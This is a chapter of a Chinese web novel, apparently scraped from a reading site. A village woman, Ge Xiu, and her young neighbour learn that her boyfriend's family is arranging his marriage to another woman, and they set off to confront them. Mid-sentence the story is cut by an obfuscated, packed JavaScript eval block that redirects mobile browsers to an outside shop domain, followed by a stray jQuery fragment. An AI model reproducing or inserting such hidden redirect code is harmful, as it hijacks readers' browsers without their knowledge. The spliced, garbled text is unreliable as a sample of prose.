葛秀很别扭。
她想借四叔爷的势,让自家生活能安稳些,又不想承四叔爷太多好,怕未来还不上,一点点在四叔爷家抬不起头。
四叔爷应该有所察觉,却什么都没说,只让她再好好想想。
走在回家的路上,葛秀发热的脑子慢慢冷静下来,心思更加明朗确定。
她还是不想和四叔爷家一组。
相信她几个大娘和嫂子们也都不乐意。
葛秀不想未来在地里累死累活的同时,还要被人挤兑,恶心。
只四叔爷心里有了主意,恐怕没那么容易改变。
得想个办法。
葛秀正想着,身后传来一连串急促的脚步声,她回头一看,视线闯入一道身影,犹如脱缰野马般朝她冲过来,速度之快根本来不及刹车。
他还有心情举起手打招呼,“秀姐儿!我今天大丰收,你看——”
葛秀打眼一扫,看清楚他手里拎的是田鼠,立马变了脸,抬脚往路沿躲。
“我不看,你别过来。”
葛秀话音落下,阻拦的胳膊就被他抓住,整个人当即成了他的减速器,被冲力惯性带着原地转了好几圈,天旋地转中脚下一疼,身子不受控制地朝沟沿栽去。
“啊——”
“小心!”
葛秀气得牙痒痒,反手拽住罪魁祸首当垫背,一起滚下去,如刀的茅草刮得皮肤生疼,也缓了两人滚下来的速度。
幸好秋收这阵没下雨,路沟是干的,不然滚一身泥回家,她杀人的心都有。
“顾小狼!”
葛秀扒开草坐起来,看到身旁仰天躺着的少年,正晕晕乎乎地揉着后脑勺,好像撞到哪儿,正龇牙咧嘴地倒吸气。
该!
“撞到头了?”葛秀怕他撞坏脑子,凑近蹲到身旁,正对上一双亮晶晶的眼睛,看到她后,笑着龇了龇牙,露出整齐的一排大白牙晒太阳,显得格外嘚瑟。
“秀姐儿,你太瘦了,都拦不住我。”
“……”
你还有理了!
葛秀不想理他,拍拍手站起来,转身时,一股力道又将她重新拽倒,同时嘴巴也被一只手捂住。
葛秀心里真起了火。
他刚拎田鼠的手是不是这只!
抓住捂嘴的那条胳膊,小指特意留的尖指甲正要用力掐下去,耳边传来一阵热风。
“秀姐儿,别掐别掐。”察觉的顾小狼缩起胳膊,小声解释,“我带你看点东西!我松手你别喊别动,不然被人看到我名声要坏,我还想清清白白娶媳妇。”
“……”
葛秀感觉覆盖在脸上的手松开,她眯起眼睛,强忍着收起想要踹在顾小狼身上的脚。
她敢伤他,就要做好准备面对顾婶不依不饶的针对。
为出口气惹麻烦,值不值?
不值。
葛秀冷静下来,转头,面无表情地盯着顾小狼,就看到他竖起一根手指挡在嘴巴前。
“嘘,有人来了。”
一轻一重两道脚步声在头顶不远处响起,渐渐靠近,葛秀悄悄抬头朝路边看去,视野受限,她只能看到靠沟沿站的人。
是李立成他娘。
葛秀不由自主又看向顾小狼,领口被硬灌木刮个大口子,露出大半个肩膀,她撇开眼悄悄打量了下自己,衣服没破,却沾一身草。
葛秀深吸一口气,还真不能现在出去。
顾小狼已经十七,是个大小伙,现在出去说不清楚,她只能保持安静,祈祷道上的人赶紧离开。
她运气不太好,道上人在话说,走得特别慢。
李立成娘很热情,一点不像她记忆中安静的样子。
她说:“后面就要多麻烦红喜嫂子,你看分完粮食后,哪天合适,咱们提前对对日子。”
葛秀忍不住挑眉。
红喜嫂子是葛族风评最好的媒人,算辈分她要喊声小婶。
李立成没瞎说啊,他家真还挺郑重。
葛秀正想着,两道犹如实质的眼神一直停留在她身上,想装不知道都难。
她转头,顾小狼单手抓着撕裂的领口,无辜地歪头看着她,像是无声在问怎么了。
“……”
装!再装!
小小年纪心眼跟筛子一样。
葛秀发散思维,怀疑起顾小狼今天死活要拦她的目的。
恶作剧?
还是要算计她?
算计她有什么好处?两人虽然没血缘关系,这么多年邻居总攒下一点面子情吧。
顾婶忙时,她也算实打实领他玩过几年……忘了,这孩羔打小就熊。
葛秀收回视线重新看上面。
红喜嫂子说话声音自带喜气,“今年好日子多,你有想要的日子吗?还是我选几个出来送秀儿家去,让她挑一个……”
话被李立成娘打断,她爽朗地笑道,“不用,秀儿自己都还没对象,哪能帮兄弟看日子,我家立成人好,平时经常给人搭把手,都去问一遍,多耽误事,这毕竟是我们自己家的事,等结婚那天再喊人来热闹热闹。”
“不是秀儿?”红喜嫂子惊了,很快声音冷淡下来,“那你家立成对象是谁?村里都知道,我不给外姓人说媒。”
对象俩字被咬得特别重。
上面动静小了。
葛秀听不清李立成娘说的是谁,倒是红喜嫂子听完后拒绝的声音十分响亮。
“我刚刚才想起来,分完粮食我得去我小闺女家看看,大着肚子快生了,我要留时间去照顾月子,你找别人吧。”
“时间肯定紧着你来……别慌走,咱们再商量商量。”
脚步匆匆离去,李立成娘略微着急的声音渐渐变小,直到消失。
人一走,顾小狼就迫不及待地跳出来。
“我嘞个去,搞毛!她那话说得好像秀姐儿你上赶着一样,你真有啥事,我……还有秀姐你亲戚里的一堆兄弟,真排队轮得到他李立成,呸,分!立马分。”
葛秀似笑非笑地坐起身,就这么看着他。
顾小狼被看得浑身不自在,“秀姐儿,我好看你也不能一直盯着。”
“你早就知道?”
嘴上在问,葛秀心里却已经肯定,心里对他的气慢慢消散。
“下次不用搞洋相,直接告诉我就行。”她站起身,拍拍身上沾的土。
“也得你信我,你处对象第一天我是不是就讲过,李立成不行,你听了吗?”顾小狼越说越觉得自己委屈。
葛秀顺着他的话回想,好像是有这么一出。
“是我错了,不该没把你的话放在心上。”
“知道就好。”顾小狼双腿抬起,一个鲤鱼打挺跳起来,迫不及待地问,“秀姐儿你说,你要几个人我亲自去帮你喊。”
“喊人干啥?”葛秀顺着坡往路上走。
干,干啥?
顾小狼追上来,“当然是去找李立成那瘪犊子算账。”
他顿住,“你不会还心疼他,想当这事没发生过,秀姐,村里知道你俩谈对象的人可不少,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157127|150379||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么轻飘飘过去,不说别人,我都瞧不起你!”
“……”
葛秀稳稳地站在路上,转身望着跟上来的顾小狼,看他半弯腰,刮破的衣领耷拉下来,等人站到面前,伸出两根手指,捏住撕破的衣服,帮他挡住胸口。
“不知道的还以为是你被人偷家,按着。”
顾小狼不情不愿地抬起手,哼哼唧唧地嘟囔,“可不就是我。”
“说啥?”
“秀姐!咱们占理。”
葛秀当然知道她占理,“你知道女方是谁?”
顾小狼不敢置信地瞪圆眼睛,生生气笑了。
“你该不会全把错怪在小三身上吧。”她握住秀姐儿肩膀来回晃,“你清醒点!”
“……撒手。”葛秀挣开他的手,倒退一步拉开距离,防止他继续发疯。
顾小狼看在眼里,很不服气,“我也是男人,男人只要不想,根本不会有小三出现,我姐就是现成例子,她当年都要结婚,田卫海还不是偷偷跟顾娟睡觉。”
要不是顾娟怀孕闹开,田卫海没准还想两头骗。
“田卫海不想,顾娟脱光站他面前都硬……”顾小狼被瞪,才意识到自己说了啥,连忙改口,“也能推开。”
当然收敛也只是一瞬,没得到肯定回答让他更加着急。
“还是你觉得是李立成他娘瞒着李立成偷偷干的?那这男人更不能要!藏老娘们背后,不是少叶子(缺脑子)就是窝囊废。”
葛秀过耳就忘,她有自己的主意。
“你小孩,这事别管。”
“你要气死我!”
顾小狼气狠了,拳头一攥,扭头跳下去。
葛秀吓一跳,“小狼!”
两步冲到路沿,看他安稳站在沟底,放心之后心底的火气死灰复燃。
“你在吓唬谁!”
“哼!”
顾小狼头一甩,拿后脑勺对着她,蹲下在茅草窝里找了找,把之前掉的田鼠捡回来,三两步又重新爬上来,把田鼠往她脚边一扔,绷着脸说:“我生气了,很生气,不帮你剥皮,吓死你。”
东西一丢,甩手就走。
葛秀:“……”
还说不是小孩
她低头,暖暖的阳光照在田鼠灰色的皮毛上,一度让人觉得它们还活着。
葛秀匆匆倒退两步,抬起头,前方路上,顾小狼甩着双手,每一步落下激起的灰尘足以表明他多气。
“回来。”
前方身影顿住。
葛秀又喊一句,“你能保证听我的?”
顿住的身影依旧没回头,只大步倒退,两个呼吸的功夫,人就重新退回原位,先弯腰捡起田鼠,借着转身藏到背后,也不看她,眼睛盯着天到处转。
葛秀踢了踢他鞋子,“说话。”
“真得听话,我才带你一块行动。”
刚刚气炸的人顺着台阶就滑下来,拿一双亮晶晶的眼睛看她,直勾勾的,像是准备迎接肉骨头的大狗,态度亲近又专横。
“你说啥我没听,我老娘说话都没你好使。”
葛秀嘴角抽搐一下,没当真。
顾小狼迫不及待,又亲亲热热地喊,“秀姐儿,你大胆说,我都听你的!”
“现在?”葛秀目光上下打量他一遍,“你是回家收拾收拾再去李立成家找我,还是就这样跟我一起去?”
刚刚还在笑的顾小狼一脸紧张且防备地问。
“天都要黑起,去他家干啥!”
“算账。”